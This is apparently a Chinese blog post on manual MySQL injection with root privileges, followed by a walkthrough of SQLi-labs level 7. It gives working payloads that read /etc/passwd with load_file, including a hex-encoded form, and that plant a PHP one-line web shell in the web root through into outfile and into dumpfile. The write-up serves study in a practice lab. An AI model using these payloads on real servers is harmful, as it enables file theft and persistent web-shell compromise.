MySQL手注之ROOT权限处理

读写操作需要的条件

正常条件

  • 当前连接到数据库的用户是ROOT权限
  • 网站物路径(可以用报错、phpinfo页面、猜、爆破)

版本条件

  • 5.5.53之前:secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的
  • 高于5.5:secure_file_priv的值为null,表示不允许导入导出;为/tmp/表示导入导出只能发身在/tmp/目录下;没有具体值时,即' ',表示不对mysql的导入导出做限制

查看secure-file-priv参数的值

show global variables like '%secure%'

MySQL读文件

函数load_file()

  • select load_file('/etc/passwd');
  • select load_file(0x2f6574632f706173737764);

MySQL写文件

into outfile函数

直接将一句话木马写入

  • 写文件是会在每一行的结束自动加上换行符
  • select '' into outfile '/var/www/html/muma.php';

设置字符

select * from tdb_goods where godds_id=1 into outfile "/var/www/html/muma.php" lines starting by '<?php @eval($_POST[pass])?>'

  1. LINES STARTING BY '写入的内容'
  • 设置每行数据开头的字符,可以为单个或多个字符,默认不适用任何字符

2.LINES TERMINATED BY '写入的内同'

  • 设置每行数据结尾的字符,默认值是"\n"

into dumpfile函数

  • 写文件会保持文件得到原生内容,这种方式是对二进制文件是最好的选择
  • select '' into dumpfile '/var/www/html/muma.php';

SQLI_labs_第7关

先判断是否存在注入点

1.想办法让页面出错

2.构造正确逻辑,使页面返回正常内容

出错后,我们将单引号去掉(第1步通过'让页面报错,而这里又报错,说明参数并不是字符型)

3.构造错误逻辑,页面会什么也不显示

通过第三步的结果,充分说明,我前两部是错的。再来

先判断是否存在注入点(第二次)

分析
首先第一次的第一步,用'导致了报错,这说明对方闭合的末尾肯定是'
2.构造正确逻辑,返回正确结果
第一次的第二步 是因为‘存在报错了,认为参数是数字型,目前来看参数不是数字型,参数的闭合还有()存在的可能性

这里的时候,我在网上找了教程,会发现自己错了两个地方:1、括号是在引号之后 2、两个))

3. 构造错误逻辑,页面不显示

但是这里报错了


尝试是否可以插入文件


结果告诉我们上传的语法有错误。但是我们去访问我们上传的文件是可以访问到的。 (这也侧面说明检测注入点第三步,逻辑错误语法正确,页面报语法错误)

上传一句话木马


通过访问我们上传的路径,可以访问,说明是上传成功了

posted @ 2021-02-18 10:45  ceiling~  阅读(158)  评论(0编辑  收藏  举报